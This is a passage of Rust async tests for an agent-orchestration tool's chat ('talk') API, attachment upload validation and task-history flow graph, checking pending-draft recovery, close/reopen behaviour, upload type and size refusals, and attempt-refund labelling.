8086 )
8087 .with_worktrees_root(home.path().join("wt")),
8088 );
8089 let cfg = config_for(&repo).await.expect("discover config");
8090
8091 for delay in 0..40u32 {
8092 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8093 let id = talk.id.clone();
8094
8095 let handler = tokio::spawn(talk_say(
8096 State(Arc::clone(&ui)),
8097 Path(id.clone()),
8098 Ok(Json(NewTalkTurn {
8099 text: "what does the queue module do?".to_owned(),
8100 attachments: Vec::new(),
8101 })),
8102 ));
8103 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8104 handler.abort();
8105 let _ = handler.await;
8108
8109 let mut turns = 0;
8110 for _ in 0..SETTLE_STEPS {
8111 if let Ok(fresh) = talks.get(&id) {
8112 turns = fresh.turns.len();
8113 if turns != 1 {
8114 break;
8115 }
8116 }
8117 tokio::time::sleep(Duration::from_millis(10)).await;
8118 }
8119 assert_ne!(
8120 turns, 1,
8121 "delay {delay}: talk {id} recorded the operator's turn but \
8122 the agent never answered - the reply task was never \
8123 started after the handler future was dropped"
8124 );
8125 }
8126 }
8127
8128 #[tokio::test]
8173 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8174 let tmp = TempDir::new().expect("tempdir");
8175 let repo = tmp.path().join("repo");
8176 std::fs::create_dir_all(&repo).expect("repo dir");
8177 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8178 let home = TempDir::new().expect("temp home");
8179 let talks = Talks::at(home.path().join("talks"));
8180 let ui = Arc::new(
8181 Ui::new(
8182 Queue::at(home.path().join("queue")),
8183 Questions::at(home.path().join("questions")),
8184 talks.clone(),
8185 home.path().join("runs"),
8186 home.path().to_path_buf(),
8187 repo.clone(),
8188 )
8189 .with_worktrees_root(home.path().join("wt")),
8190 );
8191 let cfg = config_for(&repo).await.expect("discover config");
8192
8193 for attempt in 0..3u32 {
8194 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8195 let id = talk.id.clone();
8196 let turn_guard = ui
8199 .begin_talk_turn(&id)
8200 .expect("claim the turn")
8201 .expect("a fresh talk owes nobody a turn");
8202
8203 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8204 let (release_tx, release_rx) = std::sync::mpsc::channel();
8205 ui.set_busy_queue_gate(BusyQueueGate {
8206 reached: reached_tx,
8207 release: release_rx,
8208 });
8209
8210 let handler = tokio::spawn(talk_say(
8211 State(Arc::clone(&ui)),
8212 Path(id.clone()),
8213 Ok(Json(NewTalkTurn {
8214 text: "what does the queue module do?".to_owned(),
8215 attachments: Vec::new(),
8216 })),
8217 ));
8218
8219 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8224 .await
8225 .unwrap_or_else(|_| {
8226 panic!(
8227 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8228 )
8229 })
8230 .expect("the busy branch dropped the gate without using it");
8231
8232 let running = talks.get(&id).expect("reload talk");
8239 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8240
8241 handler.abort();
8245 let _ = handler.await;
8246
8247 let _ = release_tx.send(());
8253
8254 let mut fresh = talks.get(&id).expect("reload talk");
8257 for _ in 0..SETTLE_STEPS {
8258 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8259 break;
8260 }
8261 tokio::time::sleep(Duration::from_millis(10)).await;
8262 fresh = talks.get(&id).expect("reload talk");
8263 }
8264 assert!(
8265 fresh.pending.is_empty() && fresh.turns.len() == 2,
8266 "attempt {attempt}: talk {id} left the operator's text queued \
8267 with no drainer - the reclaimed turn was dropped along with \
8268 the handler future (pending {:?}, {} turns)",
8269 fresh.pending,
8270 fresh.turns.len()
8271 );
8272 }
8273 }
8274
8275 #[tokio::test]
8276 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8277 let (_tmp, _repo, f) = talk_fixture().await;
8278 let id = f.post("/api/talks", None).await.json()["id"]
8279 .as_str()
8280 .expect("id")
8281 .to_owned();
8282 let store = f.talks();
8283 let mut recovered = store.get(&id).expect("opened talk");
8284 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8285 .expect("persist pending draft without a live turn");
8286
8287 let edited = f
8288 .post(
8289 &format!("/api/talks/{id}/pending/edit"),
8290 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8291 )
8292 .await;
8293 assert_eq!(edited.status, 200, "{}", edited.body);
8294 assert!(edited.json()["thinking"].as_bool().unwrap());
8295
8296 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8297 for _ in 0..SETTLE_STEPS {
8298 if detail["turns"].as_array().expect("turns").len() == 2 {
8299 break;
8300 }
8301 tokio::time::sleep(Duration::from_millis(10)).await;
8302 detail = f.get(&format!("/api/talks/{id}")).await.json();
8303 }
8304 let turns = detail["turns"].as_array().expect("turns");
8305 assert_eq!(
8306 turns.len(),
8307 2,
8308 "the recovered draft must run once: {detail}"
8309 );
8310 assert_eq!(turns[0]["body"], "corrected");
8311 assert_eq!(detail["pending"], "");
8312 }
8313
8314 #[tokio::test]
8315 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8316 let tmp = TempDir::new().expect("tempdir");
8317 let repo = tmp.path().join("repo");
8318 std::fs::create_dir_all(&repo).expect("repo dir");
8319 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8320 let f = Fixture::with_repo(repo).await;
8321 let id = f.post("/api/talks", None).await.json()["id"]
8322 .as_str()
8323 .expect("id")
8324 .to_owned();
8325 let store = f.talks();
8326 let mut recovered = store.get(&id).expect("opened talk");
8327 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8328 .expect("persist pending draft without a live turn");
8329
8330 let refused = f
8331 .post(
8332 &format!("/api/talks/{id}/say"),
8333 Some(r#"{"text":"new message"}"#),
8334 )
8335 .await;
8336 assert_eq!(refused.status, 409, "{}", refused.body);
8337 assert!(refused.body.contains("resume"), "{}", refused.body);
8338 let saved = store.get(&id).expect("draft remains after refusal");
8339 assert!(saved.turns.is_empty());
8340 assert_eq!(saved.pending, "saved before restart");
8341
8342 let say_path = format!("/api/talks/{id}/say");
8343 let (first, second) = tokio::join!(
8344 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8345 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8346 );
8347 assert_eq!(first.status, 409, "{}", first.body);
8348 assert_eq!(second.status, 409, "{}", second.body);
8349 let saved = store
8350 .get(&id)
8351 .expect("draft remains after concurrent refusals");
8352 assert!(saved.turns.is_empty());
8353 assert_eq!(saved.pending, "saved before restart");
8354
8355 let resumed = f
8356 .post(&format!("/api/talks/{id}/pending/resume"), None)
8357 .await;
8358 assert_eq!(resumed.status, 202, "{}", resumed.body);
8359 let duplicate = f
8360 .post(&format!("/api/talks/{id}/pending/resume"), None)
8361 .await;
8362 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8363
8364 for _ in 0..SETTLE_STEPS {
8365 if store.get(&id).expect("talk").turns.len() == 2 {
8366 break;
8367 }
8368 tokio::time::sleep(Duration::from_millis(10)).await;
8369 }
8370 let finished = store.get(&id).expect("finished talk");
8371 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8372 assert_eq!(finished.turns[0].body, "saved before restart");
8373 assert!(finished.pending.is_empty());
8374 }
8375
8376 #[tokio::test]
8377 async fn an_image_only_recovered_draft_resumes_without_text() {
8378 let (_tmp, _repo, f) = talk_fixture().await;
8379 let id = f.post("/api/talks", None).await.json()["id"]
8380 .as_str()
8381 .expect("id")
8382 .to_owned();
8383 let uploaded = f
8384 .post_bytes(
8385 &format!("/api/talks/{id}/attachments"),
8386 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8387 PNG_BYTES,
8388 )
8389 .await;
8390 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8391 let attachment = f
8392 .talks()
8393 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8394 .expect("attachment metadata")
8395 .expect("stored attachment");
8396 let store = f.talks();
8397 let mut recovered = store.get(&id).expect("opened talk");
8398 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8399
8400 let resumed = f
8401 .post(&format!("/api/talks/{id}/pending/resume"), None)
8402 .await;
8403 assert_eq!(resumed.status, 202, "{}", resumed.body);
8404 for _ in 0..SETTLE_STEPS {
8405 if store.get(&id).expect("talk").turns.len() == 2 {
8406 break;
8407 }
8408 tokio::time::sleep(Duration::from_millis(10)).await;
8409 }
8410 let finished = store.get(&id).expect("finished talk");
8411 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8412 assert!(finished.turns[0].body.is_empty());
8413 assert_eq!(finished.turns[0].attachments.len(), 1);
8414 assert!(finished.pending_attachments.is_empty());
8415 }
8416
8417 #[tokio::test]
8418 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8419 let (_tmp, _repo, f) = talk_fixture().await;
8420 let id = f.post("/api/talks", None).await.json()["id"]
8421 .as_str()
8422 .expect("id")
8423 .to_owned();
8424 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8425 assert_eq!(closed.status, 200, "{}", closed.body);
8426 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8427 .expect("serialize closed talk");
8428 for (path, body) in [
8429 (format!("/api/talks/{id}/pending/resume"), None),
8430 (
8431 format!("/api/talks/{id}/pending/clear"),
8432 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8433 ),
8434 (
8435 format!("/api/talks/{id}/pending/edit"),
8436 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8437 ),
8438 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8439 ] {
8440 let response = f.post(&path, body).await;
8441 assert_eq!(response.status, 409, "{}", response.body);
8442 }
8443 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8444 .expect("serialize closed talk");
8445 assert_eq!(
8446 after_clear, before_clear,
8447 "clear must not rewrite a closed talk"
8448 );
8449 }
8450
8451 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8454
8455 #[tokio::test]
8456 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8457 let tmp = TempDir::new().expect("tempdir");
8458 let repo = tmp.path().join("repo");
8459 std::fs::create_dir_all(&repo).expect("repo dir");
8460 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8461 let f = Fixture::with_repo(repo).await;
8462 let id_a = f.post("/api/talks", None).await.json()["id"]
8463 .as_str()
8464 .unwrap()
8465 .to_owned();
8466 let id_b = f.post("/api/talks", None).await.json()["id"]
8467 .as_str()
8468 .unwrap()
8469 .to_owned();
8470
8471 let a = f
8472 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8473 .await;
8474 assert_eq!(a.status, 202, "{}", a.body);
8475 assert_eq!(a.json()["thinking"], true);
8476 let b = f
8477 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8478 .await;
8479 assert_eq!(b.status, 202, "{}", b.body);
8480 assert_eq!(b.json()["thinking"], true);
8481
8482 let listed = f.get("/api/talks").await.json();
8483 for id in [&id_a, &id_b] {
8484 let view = listed
8485 .as_array()
8486 .unwrap()
8487 .iter()
8488 .find(|talk| talk["id"] == *id)
8489 .unwrap();
8490 assert_eq!(view["thinking"], true, "{listed}");
8491 }
8492 let repeated = f
8493 .post(
8494 &format!("/api/talks/{id_a}/say"),
8495 Some(r#"{"text":"again"}"#),
8496 )
8497 .await;
8498 assert_eq!(repeated.status, 202, "{}", repeated.body);
8499 assert_eq!(repeated.json()["pending"], "again");
8500 }
8501
8502 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8505
8506 #[tokio::test]
8507 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8508 let f = Fixture::start().await;
8509 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8510
8511 let res = f
8512 .post_bytes(
8513 &format!("/api/talks/{id}/attachments"),
8514 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8515 PNG_BYTES,
8516 )
8517 .await;
8518 assert_eq!(res.status, 201, "{}", res.body);
8519 let body = res.json();
8520 assert_eq!(body["name"], "shot.png");
8521 assert_eq!(body["mime"], "image/png");
8522 assert_eq!(body["bytes"], PNG_BYTES.len());
8523 let att_id = body["id"].as_str().expect("id").to_owned();
8524 assert_eq!(
8525 att_id.len(),
8526 32,
8527 "the id must never be a client-suppliable path: {att_id}"
8528 );
8529
8530 let got = f
8531 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8532 .await;
8533 assert_eq!(got.status, 200, "{}", got.body);
8534 assert_eq!(got.header("content-type"), Some("image/png"));
8535 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8536 assert_eq!(got.bytes, PNG_BYTES);
8537 }
8538
8539 #[tokio::test]
8540 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8541 let f = Fixture::start().await;
8542 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8543
8544 let svg = f
8547 .post_bytes(
8548 &format!("/api/talks/{id}/attachments"),
8549 &[("Content-Type", "image/svg+xml")],
8550 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8551 )
8552 .await;
8553 assert!(
8554 (400..500).contains(&svg.status),
8555 "svg must be refused: {} {}",
8556 svg.status,
8557 svg.body
8558 );
8559 assert!(svg.body.contains("SVG"), "{}", svg.body);
8560
8561 let text = f
8562 .post_bytes(
8563 &format!("/api/talks/{id}/attachments"),
8564 &[("Content-Type", "text/plain")],
8565 b"just some text",
8566 )
8567 .await;
8568 assert!(
8569 (400..500).contains(&text.status),
8570 "an unlisted type must be refused: {} {}",
8571 text.status,
8572 text.body
8573 );
8574
8575 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8578 let big = f
8579 .post_bytes(
8580 &format!("/api/talks/{id}/attachments"),
8581 &[("Content-Type", "image/png")],
8582 &oversized,
8583 )
8584 .await;
8585 assert_eq!(
8586 big.status,
8587 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8588 "{}",
8589 big.body
8590 );
8591 }
8592
8593 #[tokio::test]
8594 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8595 let f = Fixture::start().await;
8596 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8597
8598 let res = f
8601 .post_bytes(
8602 &format!("/api/talks/{id}/attachments"),
8603 &[("Content-Type", "image/png")],
8604 b"<html>not a picture</html>",
8605 )
8606 .await;
8607 assert!((400..500).contains(&res.status), "{}", res.body);
8608 }
8609
8610 #[tokio::test]
8611 async fn an_unknown_attachment_id_is_a_404() {
8612 let f = Fixture::start().await;
8613 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8614
8615 let res = f
8616 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8617 .await;
8618 assert_eq!(res.status, 404, "{}", res.body);
8619 }
8620
8621 #[tokio::test]
8622 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8623 let f = Fixture::start().await;
8624 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8625
8626 let uploaded = f
8627 .post_bytes(
8628 &format!("/api/talks/{id}/attachments"),
8629 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8630 PNG_BYTES,
8631 )
8632 .await;
8633 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8634 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8635
8636 let res = f
8637 .post(
8638 &format!("/api/talks/{id}/say"),
8639 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8640 )
8641 .await;
8642 assert_eq!(res.status, 202, "{}", res.body);
8643 let queued = res.json();
8644 let turns = queued["turns"].as_array().expect("turns array");
8645 assert_eq!(
8646 turns.len(),
8647 1,
8648 "an empty body with an attachment is still a turn: {queued}"
8649 );
8650 assert_eq!(turns[0]["who"], "operator");
8651 assert_eq!(turns[0]["body"], "");
8652 let atts = turns[0]["attachments"]
8653 .as_array()
8654 .expect("attachments array");
8655 assert_eq!(atts.len(), 1);
8656 assert_eq!(atts[0]["id"], att_id);
8657 assert_eq!(atts[0]["mime"], "image/png");
8658
8659 let on_disk = f.talks().get(&id).expect("get");
8662 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8663 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8664 }
8665
8666 #[tokio::test]
8667 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8668 let f = Fixture::start().await;
8669 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8670
8671 let res = f
8672 .post(
8673 &format!("/api/talks/{id}/say"),
8674 Some(&format!(
8675 r#"{{"text":"hi","attachments":["{}"]}}"#,
8676 "a".repeat(32)
8677 )),
8678 )
8679 .await;
8680 assert!((400..500).contains(&res.status), "{}", res.body);
8681 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8682
8683 let on_disk = f.talks().get(&id).expect("get");
8684 assert!(
8685 on_disk.turns.is_empty(),
8686 "a rejected attachment id must not partially record the turn: {:?}",
8687 on_disk.turns
8688 );
8689 }
8690
8691 #[tokio::test]
8692 async fn talk_close_makes_the_talk_refuse_further_turns() {
8693 let f = Fixture::start().await;
8694 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8695
8696 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8697 assert_eq!(closed.status, 200, "{}", closed.body);
8698 assert_eq!(closed.json()["status"], "closed");
8699
8700 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8702 assert_eq!(closed_again.status, 200);
8703 assert_eq!(closed_again.json()["status"], "closed");
8704
8705 let said = f
8706 .post(
8707 &format!("/api/talks/{id}/say"),
8708 Some(r#"{"text":"too late"}"#),
8709 )
8710 .await;
8711 assert_eq!(said.status, 409, "{}", said.body);
8712 }
8713
8714 #[tokio::test]
8715 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8716 let (_tmp, _repo, f) = talk_fixture().await;
8717 let id = f.post("/api/talks", None).await.json()["id"]
8718 .as_str()
8719 .expect("id")
8720 .to_owned();
8721 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8722 assert_eq!(closed.status, 200, "{}", closed.body);
8723
8724 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8725 assert_eq!(reopened.status, 200, "{}", reopened.body);
8726 assert_eq!(reopened.json()["status"], "open");
8727
8728 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8730 assert_eq!(reopened_again.status, 200);
8731 assert_eq!(reopened_again.json()["status"], "open");
8732
8733 let said = f
8734 .post(
8735 &format!("/api/talks/{id}/say"),
8736 Some(r#"{"text":"still there?"}"#),
8737 )
8738 .await;
8739 assert_eq!(
8740 said.status, 202,
8741 "a reopened talk accepts turns again: {}",
8742 said.body
8743 );
8744 }
8745
8746 #[tokio::test]
8747 async fn talk_reopen_on_an_unknown_id_is_404() {
8748 let f = Fixture::start().await;
8749 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8750 assert_eq!(res.status, 404, "{}", res.body);
8751 }
8752
8753 #[tokio::test]
8754 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8755 let f = Fixture::start().await;
8756 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8757
8758 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8759 assert_eq!(deleted.status, 204, "{}", deleted.body);
8760
8761 let after = f.get(&format!("/api/talks/{id}")).await;
8762 assert_eq!(after.status, 404, "{}", after.body);
8763
8764 let listed = f.get("/api/talks").await.json();
8765 assert!(
8766 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8767 "a deleted talk must not linger in the list: {listed}"
8768 );
8769 }
8770
8771 #[tokio::test]
8772 async fn talk_delete_on_an_unknown_id_is_404() {
8773 let f = Fixture::start().await;
8774 let res = f.delete("/api/talks/nonexistent-id").await;
8775 assert_eq!(res.status, 404, "{}", res.body);
8776 }
8777
8778 #[tokio::test]
8782 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8783 let f = Fixture::start().await;
8784 let (a, b, gone) = (
8785 "20260902-140501-aaaa",
8786 "20260902-140502-bbbb",
8787 "20260902-140503-cccc",
8788 );
8789 write_run(&f.runs(), a, RunStatus::Stalled);
8790 let mut review = RunState::new(
8791 PathBuf::from("/repo/magi"),
8792 "main".to_owned(),
8793 "0123456789abcdef".to_owned(),
8794 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8795 .to_owned(),
8796 Config::default(),
8797 );
8798 review.id = b.to_owned();
8799 review.status = RunStatus::Merged;
8800 write_state(&f.runs(), &review);
8801
8802 let mut task = Task::new(
8803 "retry".to_owned(),
8804 "Do the thing".to_owned(),
8805 PathBuf::from("/repo/magi"),
8806 Source::Human,
8807 );
8808 task.start(a.to_owned());
8809 task.stall("quota");
8810 task.start(a.to_owned());
8811 task.start(b.to_owned());
8812 task.start(gone.to_owned());
8813 f.queue().put(&mut task).expect("file the task");
8814
8815 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8816 assert_eq!(res.status, 200, "{}", res.body);
8817 let v = res.json();
8818 let h = v["history"].as_array().expect("history");
8819 assert_eq!(h.len(), 4, "{v}");
8820 assert_eq!(h[0]["kind"], "competition");
8821 assert_eq!(h[0]["status"], "stalled");
8822 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8823 assert_eq!(h[1]["kind"], "resume", "{v}");
8824 assert!(
8825 h[0]["outcome"]
8826 .as_str()
8827 .unwrap()
8828 .contains("unknown. Pass #2"),
8829 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8830 );
8831 assert!(
8832 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8833 "{v}"
8834 );
8835 assert!(
8836 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8837 "an unrecorded cause must not be narrated as an operator park: {v}"
8838 );
8839 assert_eq!(h[2]["kind"], "review");
8840 assert!(
8841 h[2]["description"]
8842 .as_str()
8843 .unwrap()
8844 .contains("magi/aaaa/A")
8845 );
8846 assert_eq!(h[2]["status"], "merged");
8847 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8848 assert_eq!(v["runs_unreadable"], 1);
8849 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8850 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8851 assert_eq!(nodes[4]["note"], "unreadable");
8852 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8853 assert_eq!(v["instruction"], "Do the thing");
8854 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8855
8856 let run = f.get(&format!("/api/runs/{a}")).await.json();
8858 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8859
8860 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8861 }
8862
8863 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8864 let mut s = RunState::new(
8865 PathBuf::from("/repo/magi"),
8866 "main".to_owned(),
8867 "0123456789abcdef".to_owned(),
8868 "Do it".to_owned(),
8869 Config::default(),
8870 );
8871 s.status = status;
8872 edit(&mut s);
8873 s
8874 }
8875
8876 fn flow_task(runs: &[&str]) -> Task {
8877 let mut t = Task::new(
8878 "t".to_owned(),
8879 "Do it".to_owned(),
8880 PathBuf::from("/repo/magi"),
8881 Source::Human,
8882 );
8883 for r in runs {
8884 t.start((*r).to_owned());
8885 }
8886 t
8887 }
8888
8889 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8890 let h = task_history(task, |id| {
8891 states
8892 .iter()
8893 .find(|(i, _)| *i == id)
8894 .and_then(|(_, s)| s.clone())
8895 });
8896 task_flow(task, &h, 5)
8897 }
8898
8899 #[test]
8900 fn flow_opens_with_the_chat_that_queued_the_task() {
8901 let mut t = flow_task(&[]);
8902 t.source = Source::Agent {
8903 run: "a b/c".to_owned(),
8904 node: crate::queue::CHAT_NODE.to_owned(),
8905 };
8906 let f = flow_for(&t, &[]);
8907 assert_eq!(f.nodes[0].key, "chat");
8908 assert_eq!(f.nodes[0].kind, "chat");
8909 assert_eq!(
8910 f.nodes[0].label,
8911 format!("Chat {}", crate::queue::short("a b/c"))
8912 );
8913 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8914 assert_eq!(f.nodes[1].key, "start");
8915 assert_eq!(
8916 f.edges[0],
8917 FlowEdge {
8918 from: "chat".to_owned(),
8919 to: "start".to_owned(),
8920 label: "queued from chat".to_owned(),
8921 attempt: AttemptCost::None,
8922 }
8923 );
8924 }
8925
8926 #[test]
8927 fn flow_has_no_chat_box_for_other_sources() {
8928 for source in [
8929 Source::Human,
8930 Source::Issue {
8931 number: 3,
8932 repo: "o/r".to_owned(),
8933 },
8934 Source::Agent {
8935 run: "20260904-014455-ab12".to_owned(),
8936 node: "implement".to_owned(),
8937 },
8938 ] {
8939 let mut t = flow_task(&[]);
8940 t.source = source;
8941 let f = flow_for(&t, &[]);
8942 assert_eq!(f.nodes[0].key, "start");
8943 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8944 assert!(f.edges.iter().all(|e| e.from != "chat"));
8945 }
8946 }
8947
8948 const FA: &str = "20260902-140501-aaaa";
8949 const FB: &str = "20260902-140502-bbbb";
8950
8951 #[test]
8952 fn flow_follows_blocked_retry_merged_to_done() {
8953 let mut t = flow_task(&[FA, FB]);
8954 t.status = TaskStatus::Done;
8955 let f = flow_for(
8956 &t,
8957 &[
8958 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8959 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8960 ],
8961 );
8962 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8963 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8964 assert_eq!(f.edges.len(), 3);
8965 assert_eq!(f.edges[0].label, "claimed");
8966 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8967 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8968 assert_eq!(f.edges[2].label, "merged \u{2192} done");
8969 assert_eq!(
8970 f.nodes[2].href.as_deref(),
8971 Some("#/runs/20260902-140502-bbbb")
8972 );
8973 assert!(f.nodes[2].decided);
8974 }
8975
8976 #[test]
8977 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8978 let quota = || {
8979 flow_run(RunStatus::Stalled, |s| {
8980 s.quota.push(crate::run::QuotaLoss {
8981 seat: "judge-1".to_owned(),
8982 node: "judge".to_owned(),
8983 at: Timestamp::now(),
8984 reset: None,
8985 })
8986 })
8987 };
8988 let mut t = flow_task(&[FA, FA]);
8989 t.status = TaskStatus::Queued;
8990 let f = flow_for(&t, &[(FA, Some(quota()))]);
8991 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8992 assert_eq!(f.nodes[1].note, Some("interrupted"));
8993 assert_eq!(
8994 f.nodes[1].status, None,
8995 "no outcome copied onto an earlier pass"
8996 );
8997 assert_eq!(
8998 f.edges[1].attempt,
8999 AttemptCost::Unknown,
9000 "a resume does not prove the earlier pass was refunded"
9001 );
9002 assert!(f.edges[1].label.contains("resume the same run"));
9003 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9004 assert_eq!(
9005 f.edges[2].label,
9006 "stalled after a resume, refund unknown \u{2192} queued"
9007 );
9008 assert!(!f.nodes[2].decided, "a stall is not a decision");
9009 assert_eq!(f.nodes[2].note, Some("no verdict"));
9010 }
9011
9012 #[test]
9013 fn flow_single_pass_quota_stall_is_refunded() {
9014 let t = flow_task(&[FA]);
9015 let f = flow_for(
9016 &t,
9017 &[(
9018 FA,
9019 Some(flow_run(RunStatus::Stalled, |s| {
9020 s.quota.push(crate::run::QuotaLoss {
9021 seat: "judge-1".to_owned(),
9022 node: "judge".to_owned(),
9023 at: Timestamp::now(),
9024 reset: None,
9025 })
9026 })),
9027 )],
9028 );
9029 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9030 }
9031
9032 #[test]
9033 fn flow_parked_refunds_and_stall_without_quota_spends() {
9034 let mut t = flow_task(&[FA]);
9035 t.status = TaskStatus::Queued;
9036 let f = flow_for(
9037 &t,
9038 &[(
9039 FA,
9040 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9041 )],
9042 );
9043 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9044 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9045 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9046 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9047 assert!(!f.nodes[1].decided);
9048 }
9049
9050 #[test]
9051 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9052 let t = flow_task(&[FA, FB]);
9053 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9054 assert_eq!(f.nodes[1].note, Some("unreadable"));
9055 assert!(!f.nodes[1].readable);
9056 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9057 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9058 }
9059
9060 #[test]
9061 fn flow_names_the_branch_of_a_review_only_run() {
9062 let t = flow_task(&[FA]);
9063 let f = flow_for(
9064 &t,
9065 &[(
9066 FA,
